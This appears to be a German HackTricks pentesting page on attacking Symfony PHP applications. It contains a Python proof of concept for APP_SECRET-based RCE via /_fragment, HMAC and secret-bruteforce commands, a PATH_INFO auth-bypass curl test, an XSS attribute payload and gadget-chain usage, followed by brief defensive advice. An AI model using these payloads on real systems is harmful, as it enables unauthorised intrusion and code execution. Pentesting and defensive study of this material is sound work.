Symfony

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Symfony ist eines der am weitesten verbreiteten PHP-Frameworks und taucht regelmäßig in Assessments von Enterprise-, E‑Commerce- und CMS-Zielen auf (Drupal, Shopware, Ibexa, OroCRM … alle binden Symfony-Komponenten ein). Diese Seite sammelt offensive Tipps, häufige Fehlkonfigurationen und aktuelle Schwachstellen, die auf Ihrer Checkliste stehen sollten, wenn Sie eine Symfony-Anwendung entdecken.

Historischer Hinweis: Ein großer Teil des Ökosystems verwendet noch den 5.4 LTS-Zweig (EOL November 2025). Symfony 7.4 wurde im Nov 2025 das neue LTS und erhält Security-Fixes bis Nov 2029. Prüfen Sie immer das genaue Patch-Level, da viele Advisories aus 2024‑2026 nur in Micro-Releases gefixt wurden.


Recon & Enumeration

Finger-printing

  • HTTP-Antwort-Header: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link oder Cookies, die mit sf_redirect, sf_session, MOCKSESSID beginnen.
  • Source code leaks (composer.json, composer.lock, /vendor/…) geben oft die exakte Version preis:
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Öffentliche Routen, die nur bei Symfony vorkommen:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (schöne Fehlerseiten)
  • /app_dev.php, /config.php, /config_dev.php (pre-4.0 dev front-controllers)
  • Wappalyzer, BuiltWith oder ffuf/feroxbuster wordlists: symfony.txt → suchen Sie nach /_fragment, /_profiler, .env, .htaccess.

Interessante Dateien & Endpunkte

PathWhy it matters
/.env, /.env.local, /.env.prodHäufig falsch deployed → leaks APP_SECRET, DB creds, SMTP, AWS keys
/.git, .svn, .hgSource disclosure → credentials + business logic
/var/log/*.log, /log/dev.logWeb-Root-Fehlkonfiguration öffnet Stack-Traces
/_profilerVollständige Request-Historie, Konfiguration, Service-Container, APP_SECRET (≤ 3.4)
/_fragmentEntry-Point für ESI/HInclude. Missbrauch möglich, sobald APP_SECRET bekannt ist
/vendor/phpunit/phpunit/phpunitPHPUnit RCE, wenn erreichbar (CVE-2017-9841)
/index.php/_error/{code}Finger-print & manchmal leak Exception-Traces

High-impact Vulnerabilities

1. APP_SECRET disclosure ➜ RCE via /_fragment (aka “secret-fragment”)

  • CVE-2019-18889 ursprünglich, tritt aber immer noch bei modernen Zielen auf, wenn Debug aktiviert bleibt oder .env exponiert ist.
  • Sobald Sie das 32‑stellige APP_SECRET kennen, erzeugen Sie ein HMAC-Token und missbrauchen den internen render()-Controller, um beliebiges Twig auszuführen:
# PoC – requires the secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Ausgezeichneter write-up & exploitation script: Ambionics blog (verlinkt in den References).

2. PATH_INFO auth bypass – CVE-2025-64500 (HttpFoundation)

  • Betroffen sind Versionen unter 5.4.50, 6.4.29 und 7.3.7. Path-Normalisierung konnte das führende / entfernen, wodurch Access-Control-Regeln, die z.B. /admin erwarten, gebrochen wurden.
  • Schnelltest: curl -H 'PATH_INFO: admin/secret' https://target/index.php → wenn dadurch Admin-Routen ohne Auth erreichbar sind, haben Sie die Schwachstelle gefunden.
  • Fix: symfony/http-foundation oder das gesamte Framework auf die gefixte Patch-Version upgraden.

3. MSYS2/Git-Bash argument mangling – CVE-2026-24739 (Process)

  • Betroffen sind Versionen unter 5.4.51, 6.4.33, 7.3.11, 7.4.5 und 8.0.5 auf Windows, wenn PHP aus MSYS2 (Git-Bash, mingw) ausgeführt wird. Process quotet = nicht korrekt, was zu korrupten Pfaden führt; destruktive Befehle (rmdir, del) können unverhoffte Verzeichnisse treffen.
  • Wenn Sie ein PHP-Skript hochladen oder Composer/CLI-Helper beeinflussen können, die Process aufrufen, bauen Sie Argumente mit = (z.B. E:/=tmp/delete) um Path-Rewrites zu erzwingen.

4. Runtime env/argv injection – CVE-2024-50340 (Runtime)

  • Wenn register_argv_argc=On gesetzt ist und nicht-SAPI-Runtimes verwendet werden, konnten manipulierte Query-Strings über argv-Parsen APP_ENV/APP_DEBUG umschreiben. Gefixt in 5.4.46/6.4.14/7.1.7.
  • Achten Sie in Logs auf /?--env=prod oder ähnliche Einträge, die akzeptiert wurden.

5. URL validation / open redirect – CVE-2024-50345 (HttpFoundation)

  • Sonderzeichen in der URI wurden nicht identisch zu Browser-Validierung geprüft, wodurch Redirects zu angreifer-kontrollierten Domains möglich waren. Gefixt in 5.4.46/6.4.14/7.1.7.

6. Symfony UX attribute injection – CVE-2025-47946

  • symfony/ux-twig-component & symfony/ux-live-component vor 2.25.1 rendern {{ attributes }} ohne Escaping → attribute injection/XSS. Wenn die App Benutzern erlaubt, Component-Attribute zu definieren (Admin-CMS, E‑Mail-Templating), lässt sich das zu Script-Injection ketten.
  • Update beider Pakete auf 2.25.1+. Als manueller Exploit: JS in einem Attributwert platzieren, das an eine Custom-Component übergeben und gerendert wird.

7. Windows Process Hijack – CVE-2024-51736 (Process)

  • Die Process-Komponente suchte das aktuelle Work-Directory vor PATH auf Windows. Ein Angreifer, der tar.exe, cmd.exe etc. in ein beschreibbares Web-Root hochladen kann und Process (z.B. File-Extraction, PDF-Generierung) auslöst, erhält Code-Ausführung.
  • Gefixt in 5.4.50, 6.4.14, 7.1.7.

8. Session-Fixation – CVE-2023-46733

  • Der Authentication-Guard hat eine bestehende Session-ID nach Login wiederverwendet. Wenn ein Angreifer das Cookie vor der Authentifizierung des Opfers setzt, kann er das Konto nach Login übernehmen.

9. Twig sandbox XSS – CVE-2023-46734

  • In Anwendungen, die user-controlled Templates (Admin-CMS, E‑Mail-Builder) erlauben, konnte der nl2br-Filter benutzt werden, um Sandbox-Bypass und JS-Injection zu erreichen.

10. Symfony 1 gadget chains (still found in legacy apps)

  • phpggc symfony/1 system id erzeugt ein Phar-Payload, das RCE triggert, wenn ein unserialize() auf Klassen wie sfNamespacedParameterHolder erfolgt. Prüfen Sie File-Upload-Endpunkte und phar://-Wrapper.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calculate HMAC token for /_fragment

python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce des schwachen APP_SECRET

cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE über eine exponierte Symfony Console

Wenn bin/console über php-fpm oder durch direkten CLI-Upload erreichbar ist:

php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Verwende deserialization gadgets im Cache-Verzeichnis oder schreibe eine bösartige Twig-Template, die bei der nächsten Anfrage ausgeführt wird.

PATH_INFO bypass schnell prüfen (CVE-2025-64500)

curl -i -H 'PATH_INFO: admin/secret' https://target/index.php
# If it returns protected content without redirect/auth, the Request normalization is vulnerable.

Spray UX attribute injection (CVE-2025-47946)

{# attacker-controlled attribute value #}
<live:button {{ attributes|merge({'onclick':'alert(1)'}) }} />

Wenn die gerenderte Ausgabe das Attribut unescaped ausgibt, gelingt XSS. Auf 2.25.1+ patchen.


Defensive Hinweise

  1. Never deploy debug (APP_ENV=dev, APP_DEBUG=1) nicht in Produktion einsetzen; blockiere /app_dev.php, /_profiler, /_wdt in der Webserver-Konfiguration.
  2. Speichere Secrets in Umgebungsvariablen oder vault/secrets.local.php, niemals in Dateien, die über das Document-Root zugänglich sind.
  3. Setze Patch-Management durch – abonniere Symfony Security Advisories und halte mindestens das LTS-Patch-Level (5.4.x bis Nov 2025, 6.4 bis Nov 2027, 7.4 bis Nov 2029).
  4. Wenn du unter Windows betreibst, upgrade sofort, um CVE-2024-51736 & CVE-2026-24739 zu mitigieren oder füge eine open_basedir/disable_functions Defence-in-Depth-Maßnahme hinzu.

Nützliche offensive Tools

  • ambionics/symfony-exploits – secret-fragment RCE, Aufspüren von debugger-Routen.
  • phpggc – Ready-made gadget chains for Symfony 1 & 2.
  • sf-encoder – kleines Hilfsprogramm zur Berechnung des _fragment HMAC (Go implementation).

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks